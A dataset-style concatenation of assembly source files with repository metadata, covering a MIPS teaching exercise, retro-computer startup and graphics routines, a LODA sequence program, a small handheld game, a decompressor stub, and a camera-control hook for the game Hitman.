consecutivos de mem�ria addiu $t1,$t1,-1 # decrementa o contador de tamanho do vetor j loop # continua a execu��o end: jr $ra # Agora volta para o programa monitor .data # Diretiva para o montador - adiciona o que vem abaixo # � mem�ria de dados do processador array: .word 0x12 0xff 0x3 0x14 0x878 0x31 0x62 0x10 0x5 0x16 0x20 # o vetor # A diretiva ,.word carrega a lista de inteiros em posi��es successivas # da mem�ria de dados size: .word 11 # Vari�vel que armazena o tamanho do vetor const: .word 0x100 # Constante a somar a cada elemento do vetor
49.183673
103
0.504564
2342a10ad7f8afcf5029f6b13703079f6bcc23ca
295
asm
Assembly
src/firmware-tests/Platform/Smps/EnableDisable/EnableDisableSmpsHighPowerModeShiftOutTest.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
1
2019-12-12T09:07:08.000Z
2019-12-12T09:07:08.000Z
src/firmware-tests/Platform/Smps/EnableDisable/EnableDisableSmpsHighPowerModeShiftOutTest.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
null
null
null
src/firmware-tests/Platform/Smps/EnableDisable/EnableDisableSmpsHighPowerModeShiftOutTest.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
null
null
null
#include "Platform.inc" #include "FarCalls.inc" #include "Smps.inc" radix decimal EnableDisableSmpsHighPowerModeShiftOutTest code global doEnableCall global doDisableCall doEnableCall: fcall enableSmpsHighPowerMode return doDisableCall: fcall disableSmpsHighPowerMode return end
14.75
47
0.820339
ba4f3ae7b74919548331866d99f91f66d02453b0
2,748
asm
Assembly
lib/target/pasopia7/classic/pasopia7_crt0.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
lib/target/pasopia7/classic/pasopia7_crt0.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
lib/target/pasopia7/classic/pasopia7_crt0.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
; ; Startup for Pasopia 7 MODULE pasopia7_crt0 ;-------- ; Include zcc_opt.def to find out some info ;-------- defc crt0 = 1 INCLUDE "zcc_opt.def" ;-------- ; Some scope definitions ;-------- EXTERN _main ;main() is always external to crt0 code EXTERN asm_im1_handler EXTERN asm_nmi_handler PUBLIC cleanup ;jp'd to by exit() PUBLIC l_dcal ;jp(hl) defc TAR__clib_exit_stack_size = 32 defc TAR__register_sp = 65280 defc TAR__fputc_cons_generic = 1 defc CRT_KEY_DEL = 12 defc CRT_ORG_CODE = 0 defc CONSOLE_COLUMNS = 40 defc CONSOLE_ROWS = 25 defc __CPU_CLOCK = 4000000 defc CLIB_FGETC_CONS_DELAY = 150 defc GRAPHICS_CHAR_SET = 135 defc GRAPHICS_CHAR_UNSET = 32 PUBLIC GRAPHICS_CHAR_SET PUBLIC GRAPHICS_CHAR_UNSET INCLUDE "crt/classic/crt_rules.inc" org CRT_ORG_CODE if (ASMPC<>$0000) defs CODE_ALIGNMENT_ERROR endif jp program defs $0008-ASMPC if (ASMPC<>$0008) defs CODE_ALIGNMENT_ERROR endif jp restart08 defs $0010-ASMPC if (ASMPC<>$0010) defs CODE_ALIGNMENT_ERROR endif jp restart10 defs $0018-ASMPC if (ASMPC<>$0018) defs CODE_ALIGNMENT_ERROR endif jp restart18 defs $0020-ASMPC if (ASMPC<>$0020) defs CODE_ALIGNMENT_ERROR endif jp restart20 defs $0028-ASMPC if (ASMPC<>$0028) defs CODE_ALIGNMENT_ERROR endif jp restart28 defs $0030-ASMPC if (ASMPC<>$0030) defs CODE_ALIGNMENT_ERROR endif jp restart30 defs $0038-ASMPC if (ASMPC<>$0038) defs CODE_ALIGNMENT_ERROR endif jp asm_im1_handler ; NMI routine defs $0066-ASMPC if (ASMPC<>$0066) defs CODE_ALIGNMENT_ERROR endif jp asm_nmi_handler restart08: restart10: restart18: restart20: restart28: restart30: ret program: di INCLUDE "crt/classic/crt_init_sp.asm" INCLUDE "crt/classic/crt_init_atexit.asm" call crt0_init_bss ld (exitsp),sp ld a,2 ld (__pasopia_page),a im 1 ei ; Optional definition for auto MALLOC init ; it assumes we have free space between the end of ; the compiled program and the stack pointer IF DEFINED_USING_amalloc INCLUDE "crt/classic/crt_init_amalloc.asm" ENDIF call _main cleanup: jp cleanup l_dcal: jp (hl) ;Used for function pointer calls INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm" SECTION bss_crt PUBLIC __pasopia_page __pasopia_page: defb 0 INCLUDE "target/pasopia7/classic/bootstrap.asm"
18.951724
73
0.639374
a386c15d9fe927adc993a6ef33bb3c74b9d2013a
437
asm
Assembly
oeis/165/A165663.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/165/A165663.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/165/A165663.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A165663: Decimal expansion of 3 + sqrt(3). ; Submitted by Jon Maiga ; 4,7,3,2,0,5,0,8,0,7,5,6,8,8,7,7,2,9,3,5,2,7,4,4,6,3,4,1,5,0,5,8,7,2,3,6,6,9,4,2,8,0,5,2,5,3,8,1,0,3,8,0,6,2,8,0,5,5,8,0,6,9,7,9,4,5,1,9,3,3,0,1,6,9,0,8,8,0,0,0,3,7,0,8,1,1,4,6,1,8,6,7,5,7,2,4,8,5,7,5 mov $1,5 mov $2,1 mov $3,$0 mul $3,4 lpb $3 add $1,$2 add $1,$2 add $2,$1 sub $3,1 lpe sub $1,1 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
19.863636
201
0.535469
a3f09667c4b63830e83fa272a2af5768720c98fa
2,378
asm
Assembly
libsrc/video/tms9918/graphics/pixladdr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/video/tms9918/graphics/pixladdr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/video/tms9918/graphics/pixladdr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
MODULE __tms9918_pixeladdress SECTION code_clib PUBLIC __tms9918_pixeladdress PUBLIC __tms9918_pix_return EXTERN __tms9918_attribute EXTERN l_tms9918_disable_interrupts EXTERN l_tms9918_enable_interrupts INCLUDE "graphics/grafix.inc" INCLUDE "video/tms9918/vdp.inc" ; ; $Id: pixladdr.asm $ ; .__tms9918_pixeladdress ld c,h ; X ld b,l ; Y ld a,h ; X and @11111000 ld l,a ld a,b ; Y rra rra rra and @00011111 ld h,a ; + ((Y & @11111000) << 5) ld a,b ; Y and 7 ld e,a ld d,0 add hl,de ; + Y&7 ;------- call l_tms9918_disable_interrupts IF VDP_CMD < 0 ld a,l ld (-VDP_CMD),a ld a,h ;4 and @00111111 ;7 ld (-VDP_CMD),a ld a,(-VDP_DATAIN) ELSE push bc ld bc,VDP_CMD out (c), l ; LSB of video memory ptr ld a,h ; MSB of video mem ptr and @00111111 ; masked with "read command" bits out (c), a ld bc,VDP_DATAIN in a,(c) pop bc ENDIF ex de,hl ;de = VDP address ld hl,__tms9918_pixelbyte ld (hl),a call l_tms9918_enable_interrupts ;------- ld a,c and @00000111 xor @00000111 ret .__tms9918_pix_return ld (hl),a ; hl points to "__tms9918_pixelbyte" call l_tms9918_disable_interrupts IF VDP_CMD < 0 ld a,e ld (-VDP_CMD),a ld a,d and @00111111 or @01000000 ld (-VDP_CMD),a ld a,(__tms9918_pixelbyte) ld (-VDP_DATA),a ; And support colour as well ld a,e ld (-VDP_CMD),a ld a,d add $20 ;Move to bitmap to colour and @00111111 or @01000000 ld (-VDP_CMD),a ld a,(__tms9918_attribute) ld (-VDP_DATA),a ELSE ld bc,VDP_CMD out (c),e ld a,d ; MSB of video mem ptr and @00111111 ; masked with "write command" bits or @01000000 out (c),a ld a,(__tms9918_pixelbyte) ; Can it be optimized ? what about VDP timing ? ld bc,VDP_DATA out (c),a ld bc,VDP_CMD out (c),e ld a,d ; MSB of video mem ptr add $20 and @00111111 ; masked with "write command" bits or @01000000 out (c),a ld a,(__tms9918_attribute) ld bc,VDP_DATA out (c),a ENDIF call l_tms9918_enable_interrupts pop bc ret SECTION bss_clib PUBLIC __tms9918_pixelbyte .__tms9918_pixelbyte defb 0
18.873016
87
0.595879
eb29d4600865488d337d543e24cf9cf917276b71
2,841
asm
Assembly
source/games/roadrunner.asm
paulscottrobson/atari-cosmos
b1cebdf3baca36df6604957b04aa890fb057074d
[ "MIT" ]
null
null
null
source/games/roadrunner.asm
paulscottrobson/atari-cosmos
b1cebdf3baca36df6604957b04aa890fb057074d
[ "MIT" ]
null
null
null
source/games/roadrunner.asm
paulscottrobson/atari-cosmos
b1cebdf3baca36df6604957b04aa890fb057074d
[ "MIT" ]
null
null
null
; ********************************************************************************************************** ; ********************************************************************************************************** ; ; Road Runner ; ; All in one page ! ; ; ********************************************************************************************************** ; ********************************************************************************************************** page RRLastObject = 10 ; Road Objects are 0-10. RRLastKillObject = 6 ; Fatal Objects are 0-6 these flash. RoadRunner: jsrp ClearScreen ; Get rid of everything lbi 0,Player ; Player on far right central stii 7 lbi 1,Player stii 8+2 ; ; Main loop ; RRMainLoop: jsrp Update ; Update display jsrp MoveVPlayer ; Player moves vertically nop ; ; Make all the objects flash. Swap with page 2. ; RRSwapOver: lbi 0,RRLastKillObject RRSwapLoop: ld 2 x 2 xds 0 jp RRSwapLoop lbi Timer4 ; Check timer clra ske jp RRMainLoop jp RRMoveAll jp RRMainLoop ; ; Work through all the objects ; RRMoveAll: lbi 0,RRLastObject RRMoveObjects: ld 2 ; Get X and switch to 2 add ; Add it. At least one of these is zero. aisc 15 ; Skips if non-zero, e.g. in use. jp RRCreateObject ld 0 ; Read 2.obj. ID which as X. aisc 15 ; Skip if this is non-zero. ld 2 ; Switch to 0.x which must be non-zero. ld 0 ; Read and bump X, it cannot overflow aisc 1 x 0 clra ; A = 0 skmbz 3 ; skip if bit 3 is clear, not reached edge. x 0 ; Kills it. clra ; Back to page 2. aisc 2 xabr RRNext: ld 0 ; Fetch obj.2 xds 2 ; Loop back, switching back to page 0 jp RRMoveObjects lbi 0,Player ; Check for collision jsrp CheckCollision jmp RRMainLoop aisc 15-RRLastKillObject ; If 0,1,2 are fatals, this is 13, 0,1,2 don't skip. jmp ShowHolo2LifeLost ; show holo 2, life lost (can save a byte here if needed) jsrp BumpCounter jsrp SFXHighShortBeep jp RRMainLoop ; and loop round again ; ; Object not in use. ; RRCreateObject: jsr Random ; Get random value aisc 6 ; Will skip with value 0-5 if creating this time jp RRNext ; ; Create new object B = 2,X, A = Y position. ; x 2 ; Save Y in 2.obj, go to 0.obj clra aisc 1 x 2 ; Set 0.obj to 1, switch back to 2.obj clra x 3 ; Clear that, switch to 1.obj and retrieve Y x 3 ; Save in obj.1 and switch back to page 2 jp RRNext
27.317308
108
0.475185
6168ad10aa82f1d30c9274dd76373d7a36aa4206
688
asm
Assembly
laturi/decompressor32.asm
temisu/BR4096
0e2cac8b468c853eb78ba773f082610a75405ff4
[ "BSD-2-Clause" ]
8
2018-09-15T16:49:53.000Z
2021-11-17T03:16:19.000Z
laturi/decompressor32.asm
temisu/BR4096
0e2cac8b468c853eb78ba773f082610a75405ff4
[ "BSD-2-Clause" ]
null
null
null
laturi/decompressor32.asm
temisu/BR4096
0e2cac8b468c853eb78ba773f082610a75405ff4
[ "BSD-2-Clause" ]
1
2019-09-22T13:52:19.000Z
2019-09-22T13:52:19.000Z
; Copyright (C) Teemu Suutari ; x86 bits 32 section .text global __ONEKPAQ__CodeStart __ONEKPAQ__CodeStart: sub esp,byte 12 %ifdef COMPRESSION_1 COMPRESSION_2 COMPRESSION_3 COMPRESSION_4 mov ebx,__ONEKPAQ_source mov edi,__ONEKPAQ_destination push edi %ifdef COMPRESSION_1 %define ONEKPAQ_DECOMPRESSOR_MODE 1 %elifdef COMPRESSION_2 %define ONEKPAQ_DECOMPRESSOR_MODE 2 %elifdef COMPRESSION_3 %define ONEKPAQ_DECOMPRESSOR_MODE 3 %elifdef COMPRESSION_4 %define ONEKPAQ_DECOMPRESSOR_MODE 4 %endif %include "onekpaq/onekpaq_decompressor32.asm" global __ONEKPAQ_shift __ONEKPAQ_shift: equ onekpaq_decompressor.shift ret %endif extern __ONEKPAQ_source extern __ONEKPAQ_destination
18.594595
62
0.848837
24ef485b7ecdf752ab6806d623f80f66169e2d77
13,347
asm
Assembly
Cameras/Hitman2016/InjectableGenericCameraSystem/Interceptor.asm
Cyberim/InjectableGenericCameraSystem
d74f8786a903211e72c5da7f2f3be30826bb8329
[ "BSD-2-Clause" ]
623
2016-12-02T16:01:05.000Z
2022-03-29T19:59:10.000Z
Cameras/Hitman2016/InjectableGenericCameraSystem/Interceptor.asm
Cyberim/InjectableGenericCameraSystem
d74f8786a903211e72c5da7f2f3be30826bb8329
[ "BSD-2-Clause" ]
113
2016-12-10T17:34:24.000Z
2022-02-06T21:59:42.000Z
Cameras/Hitman2016/InjectableGenericCameraSystem/Interceptor.asm
Cyberim/InjectableGenericCameraSystem
d74f8786a903211e72c5da7f2f3be30826bb8329
[ "BSD-2-Clause" ]
232
2016-12-17T06:32:08.000Z
2022-03-27T16:51:29.000Z
;//////////////////////////////////////////////////////////////////////////////////////////////////////// ;// Part of Injectable Generic Camera System ;// Copyright(c) 2017, Frans Bouma ;// All rights reserved. ;// https://github.com/FransBouma/InjectableGenericCameraSystem ;// ;// Redistribution and use in source and binary forms, with or without ;// modification, are permitted provided that the following conditions are met : ;// ;// * Redistributions of source code must retain the above copyright notice, this ;// list of conditions and the following disclaimer. ;// ;// * Redistributions in binary form must reproduce the above copyright notice, ;// this list of conditions and the following disclaimer in the documentation ;// and / or other materials provided with the distribution. ;// ;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;// DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE ;// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;// DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;// OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;//////////////////////////////////////////////////////////////////////////////////////////////////////// ;--------------------------------------------------------------- ; Game specific asm file to intercept execution flow to obtain addresses, prevent writes etc. ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Public definitions so the linker knows which names are present in this file PUBLIC cameraAddressInterceptor PUBLIC cameraWriteInterceptor1 PUBLIC cameraWriteInterceptor2 PUBLIC cameraWriteInterceptor3 PUBLIC cameraReadInterceptor1 PUBLIC gamespeedAddressInterceptor PUBLIC fovWriteInterceptor ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Externs which are used and set by the system. Read / write these ; values in asm to communicate with the system EXTERN g_cameraStructAddress: qword EXTERN g_gamespeedStructAddress: qword EXTERN g_cameraEnabled: BYTE EXTERN g_aimFrozen: BYTE ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Own externs, defined in InterceptorHelper.cpp EXTERN _cameraStructInterceptionContinue: qword EXTERN _cameraWriteInterceptionContinue1: qword EXTERN _cameraWriteInterceptionContinue2: qword EXTERN _cameraWriteInterceptionContinue3: qword EXTERN _cameraReadInterceptionContinue1: qword EXTERN _gamespeedInterceptionContinue: qword EXTERN _fovWriteInterceptionContinue: qword ; Scratch pad ;hitman.exe+E609DA - 0F28 CE - movaps xmm1,xmm6 ;hitman.exe+E609DD - 8B 0D 19EFD300 - mov ecx,[hitman.exe+1B9F8FC] ;hitman.exe+E609E3 - F3 0F10 05 9D6C0C02 - movss xmm0,[hitman.exe+2F27688] << supersampling read here ;hitman.exe+E609EB - 85 C9 - test ecx,ecx ;hitman.exe+E609ED - 74 08 - je hitman.exe+E609F7 ; ;--------------------------------------------------------------- .code cameraAddressInterceptor PROC ;hitman.exe+43B9E24 - F3 0F10 44 24 50 - movss xmm0,[rsp+50] ;hitman.exe+43B9E2A - F3 0F11 83 90000000 - movss [rbx+00000090],xmm0 <<<<<<<< HERE ;hitman.exe+43B9E32 - F3 0F10 44 24 58 - movss xmm0,[rsp+58] ;hitman.exe+43B9E38 - F3 0F11 83 98000000 - movss [rbx+00000098],xmm0 <<<<<<<< CONTINUE ;hitman.exe+43B9E40 - F3 0F11 8B 94000000 - movss [rbx+00000094],xmm1 ; ; Game jmps to this location due to the hook set in C function SetCameraStructInterceptorHook cmp BYTE ptr [rbx+038h], 0 ; check if this is the camera in rbx. For this game: Check with a 0-check. Could also check +20 or +24 for 0 if the above fails jne originalCode mov [g_cameraStructAddress], rbx ; intercept address of camera struct cmp BYTE ptr [g_cameraEnabled], 1 ; check if the user enabled the camera. If so, just skip the write statements, otherwise just execute the original code. je exit ; our own camera is enabled, just skip the writes originalCode: movss dword ptr [rbx+090h], xmm0 ; original statement exit: movss xmm0, dword ptr [rsp+058h] ; original statement jmp qword ptr [_cameraStructInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraAddressInterceptor ENDP gamespeedAddressInterceptor PROC ;hitman.exe+43BCC87 - 48 C1 F8 14 - sar rax,14 { 20 } ;hitman.exe+43BCC8B - 48 89 43 28 - mov [rbx+28],rax <<< HERE ;hitman.exe+43BCC8F - 48 8B 4B 18 - mov rcx,[rbx+18] ;hitman.exe+43BCC93 - 48 89 4B 20 - mov [rbx+20],rcx ;hitman.exe+43BCC97 - 48 01 43 18 - add [rbx+18],rax ;hitman.exe+43BCC9B - EB 3B - jmp hitman.exe+43BCCD8 <<< CONTINUE. JMP offset can differ per build. mov [g_gamespeedStructAddress], rbx mov [rbx+028h],rax mov rcx,[rbx+018h] mov [rbx+020h],rcx add [rbx+018h],rax jmp qword ptr [_gamespeedInterceptionContinue] gamespeedAddressInterceptor ENDP ;------------------------------------------------------------------- ; Camera values write interceptions. For each block of statements in the game's exe which write to the camera values, we intercept them and execute them if our ; own camera is disabled, otherwise we skip them. Each block checks whether the current struct pointer is the camera struct. If it's not the camera struct, it will ; execute the code regardless of whether our camera is enabled. cameraWriteInterceptor1 PROC ;hitman.exe+43B9E14 - F3 0F10 4C 24 54 - movss xmm1,[rsp+54] ;hitman.exe+43B9E1A - 0F28 00 - movaps xmm0,[rax] <<<< HERE ;hitman.exe+43B9E1D - 0F11 83 80000000 - movups [rbx+00000080],xmm0 ;hitman.exe+43B9E24 - F3 0F10 44 24 50 - movss xmm0,[rsp+50] ;hitman.exe+43B9E2A - F3 0F11 83 90000000 - movss [rbx+00000090],xmm0 <<<< CONTINUE ; Game jmps to this location due to the hook set in C function SetMatrixWriteInterceptorHooks. ; first check if this is really a call for the camera. Other logic will use this code too. Check rbx with our known cameraStruct address to be sure cmp qword ptr rbx, [g_cameraStructAddress] jne originalCode cmp BYTE ptr [g_cameraEnabled], 1 ; check if the user enabled the camera. If so, just skip the write statements, otherwise just execute the original code. je exit ; our own camera is enabled, just skip the writes originalCode: movaps xmm0, xmmword ptr [rax] ; original statement movups xmmword ptr [rbx+080h],xmm0 ; original statement exit: movss xmm0, dword ptr [rsp+050h] ; original statement jmp qword ptr [_cameraWriteInterceptionContinue1] ; jmp back into the original game code which is the location after the original statements above. cameraWriteInterceptor1 ENDP cameraWriteInterceptor2 PROC ;hitman.exe+43B9E32 - F3 0F10 44 24 58 - movss xmm0,[rsp+58] ;hitman.exe+43B9E38 - F3 0F11 83 98000000 - movss [rbx+00000098],xmm0 <<<<< HERE ;hitman.exe+43B9E40 - F3 0F11 8B 94000000 - movss [rbx+00000094],xmm1 ;hitman.exe+43B9E48 - EB 44 - jmp hitman.exe+43B9E8E <<<<< CONTINUE ; Game jmps to this location due to the hook set in C function SetMatrixWriteInterceptorHooks. ; first check if this is really a call for the camera. Other logic will use this code too. Check rbx with our known cameraStruct address to be sure cmp qword ptr rbx, [g_cameraStructAddress] jne originalCode cmp BYTE ptr [g_cameraEnabled], 1 ; check if the user enabled the camera. If so, just skip the write statements, otherwise just execute the original code. je exit ; our own camera is enabled, just skip the writes originalCode: movss dword ptr [rbx+98h],xmm0 ; original statement movss dword ptr [rbx+94h],xmm1 ; original statement exit: jmp qword ptr [_cameraWriteInterceptionContinue2] ; jmp back into the original game code which is the location after the original statements above. cameraWriteInterceptor2 ENDP cameraWriteInterceptor3 PROC ;hitman.exe+43B9E5D - 0F28 00 - movaps xmm0,[rax] ;hitman.exe+43B9E60 - 0F11 83 80000000 - movups [rbx+00000080],xmm0 <<<< HERE ;hitman.exe+43B9E67 - 0F28 4F 30 - movaps xmm1,[rdi+30] ;hitman.exe+43B9E6B - 0F28 C1 - movaps xmm0,xmm1 ;hitman.exe+43B9E6E - F3 0F11 8B 90000000 - movss [rbx+00000090],xmm1 ;hitman.exe+43B9E76 - 0FC6 C1 55 - shufps xmm0,xmm1,55 { 85 } ;hitman.exe+43B9E7A - 0FC6 C9 AA - shufps xmm1,xmm1,-56 { 170 } ;hitman.exe+43B9E7E - F3 0F11 8B 98000000 - movss [rbx+00000098],xmm1 ;hitman.exe+43B9E86 - F3 0F11 83 94000000 - movss [rbx+00000094],xmm0 ;hitman.exe+43B9E8E - 48 8B 03 - mov rax,[rbx] <<<< CONTINUE ; Game jmps to this location due to the hook set in C function SetMatrixWriteInterceptorHooks. ; first check if this is really a call for the camera. Other logic will use this code too. Check rbx with our known cameraStruct address to be sure cmp qword ptr rbx, [g_cameraStructAddress] jne originalCode cmp BYTE ptr [g_cameraEnabled], 1 ; check if the user enabled the camera. If so, just skip the write statements, otherwise just execute the original code. je exit ; our own camera is enabled, just skip the writes originalCode: movups xmmword ptr [rbx+80h],xmm0 ; original statement movaps xmm1,xmmword ptr [rdi+30h] ; original statement movaps xmm0,xmm1 ; original statement movss dword ptr [rbx+90h],xmm1 ; original statement shufps xmm0,xmm1,55h ; original statement shufps xmm1,xmm1,0AAh ; original statement movss dword ptr [rbx+98h],xmm1 ; original statement movss dword ptr [rbx+94h],xmm0 ; original statement exit: jmp qword ptr [_cameraWriteInterceptionContinue3] ; jmp back into the original game code which is the location after the original statements above. cameraWriteInterceptor3 ENDP cameraReadInterceptor1 PROC ; v1.13.2 ;0000000140BDE4C0 | 40 53 | push rbx << INTERCEPT HERE ;0000000140BDE4C2 | 48 81 EC 80 00 00 00 | sub rsp,80 ;0000000140BDE4C9 | F6 81 AE 00 00 00 02 | test BYTE ptr ds:[rcx+AE],2 ;0000000140BDE4D0 | 48 8B D9 | mov rbx,rcx << CONTINUE ;0000000140BDE4D3 | 0F 84 53 02 00 00 | je hitman_dump.140BDE72C ;0000000140BDE4D9 | 48 8B 41 18 | mov rax,qword ptr ds:[rcx+18] ;0000000140BDE4DD | F3 0F 10 81 98 00 00 00 | movss xmm0,dword ptr ds:[rcx+98] ;0000000140BDE4E5 | 0F 29 7C 24 60 | movaps xmmword ptr ss:[rsp+60],xmm7 ;0000000140BDE4EA | F3 0F 7E B9 90 00 00 00 | movq xmm7,qword ptr ds:[rcx+90] ;0000000140BDE4F2 | 44 0F 29 44 24 50 | movaps xmmword ptr ss:[rsp+50],xmm8 ;0000000140BDE4F8 | 0F C6 F8 04 | shufps xmm7,xmm0,4 ;0000000140BDE4FC | 44 0F 10 81 80 00 00 00 | movups xmm8,xmmword ptr ds:[rcx+80] ;0000000140BDE504 | 48 85 C0 | test rax,rax cmp BYTE ptr [g_cameraEnabled], 1 jne originalCode cmp BYTE ptr [g_aimFrozen], 1 jne originalCode ; aim is frozen and camera is enabled. We now issue a 'ret', which means it will return to the caller of the original code as we jmp-ed to this location ; from there. This means we won't continue in the original code. ret originalCode: push rbx sub rsp, 00000080h test BYTE ptr [rcx+000000AEh],02h exit: jmp qword ptr [_cameraReadInterceptionContinue1] ; jmp back into the original game code which is the location after the original statements above. cameraReadInterceptor1 ENDP fovWriteInterceptor PROC ; FOV write: (1.13.2) ; hitman.exe+398799 - 0F28 C1 - movaps xmm0,xmm1 ; hitman.exe+39879C - 48 8B 89 E8060000 - mov rcx,[rcx+000006E8] ; hitman.exe+3987A3 - 48 85 C9 - test rcx,rcx ; hitman.exe+3987A6 - 74 05 - je hitman.exe+3987AD ; hitman.exe+3987A8 - E8 A3C0FEFF - call hitman.exe+384850 ; hitman.exe+3987AD - 0F28 C8 - movaps xmm1,xmm0 ; hitman.exe+3987B0 - F3 0F11 83 00070000 - movss [rbx+00000700],xmm0 << INTERCEPT HERE << FOV WRITE (Degrees. Default is 40) ; hitman.exe+3987B8 - 48 8B CB - mov rcx,rbx ; hitman.exe+3987BB - 48 83 C4 20 - add rsp,20 { 32 } ; hitman.exe+3987BF - 5B - pop rbx << CONTINUE HERE cmp BYTE ptr [g_cameraEnabled], 1 je exit originalCode: movss dword ptr [rbx+00000700h],xmm0 exit: mov rcx,rbx add rsp,20h jmp qword ptr [_fovWriteInterceptionContinue] ; jmp back into the original game code which is the location after the original statements above. fovWriteInterceptor ENDP END
56.795745
163
0.669888
cba3631827284d624e31d5a5b28583ddf007771d
1,110
asm
Assembly
2018-11/retardedAO/AO-TP-EXOs/TP-EXO5.asm
djalilhebal/shit
42b65d37c1af93780b345403cdad7a9cc7d6a5cf
[ "WTFPL" ]
3
2017-12-05T17:00:30.000Z
2019-01-24T23:02:07.000Z
2018-11/retardedAO/AO-TP-EXOs/TP-EXO5.asm
djalilhebal/shit
42b65d37c1af93780b345403cdad7a9cc7d6a5cf
[ "WTFPL" ]
null
null
null
2018-11/retardedAO/AO-TP-EXOs/TP-EXO5.asm
djalilhebal/shit
42b65d37c1af93780b345403cdad7a9cc7d6a5cf
[ "WTFPL" ]
null
null
null
; TP-EXO5: Reads user's name and prints "Bonjour, NAME." on the next line. pile segment para stack 'pile' db 256 dup(0) pile ends data segment buf db 25+1, ?, 25+1 dup(?) ; maxLength+1 + actualLength + data+1 msg db 'Entrez votre nom: $' bjr db 13, 10, 'Bonjour, $' data ends code segment main proc far assume cs:code, ds:data, ss:pile mov ax, data mov ds, ax mov ah, 09h ; print string function mov dx, offset msg int 21h mov ah, 0Ah ; read buffer function mov dx, offset buf int 21h mov bx, 0 mov bl, buf[1] ; "Data Length" mov buf[bx+2], '$' mov ah, 09h ; print string function mov dx, offset bjr int 21h mov ah, 09h ; print string function mov dx, offset buf + 2 int 21h mov ah, 02h ; print character function mov dl, '.' int 21h mov ah, 4Ch ; exit to MS-DOS function mov al, 0 ; exit code success int 21h main endp code ends end main
23.125
75
0.532432
6d4c52cc66af234972a895039e64b1dff6ed315d
51,957
asm
Assembly
ls.asm
avabe/Operating_Systems_Assignment1
3f2c5de3767fadf16e7feb054a37fc9543b38b0f
[ "MIT-0" ]
null
null
null
ls.asm
avabe/Operating_Systems_Assignment1
3f2c5de3767fadf16e7feb054a37fc9543b38b0f
[ "MIT-0" ]
null
null
null
ls.asm
avabe/Operating_Systems_Assignment1
3f2c5de3767fadf16e7feb054a37fc9543b38b0f
[ "MIT-0" ]
null
null
null
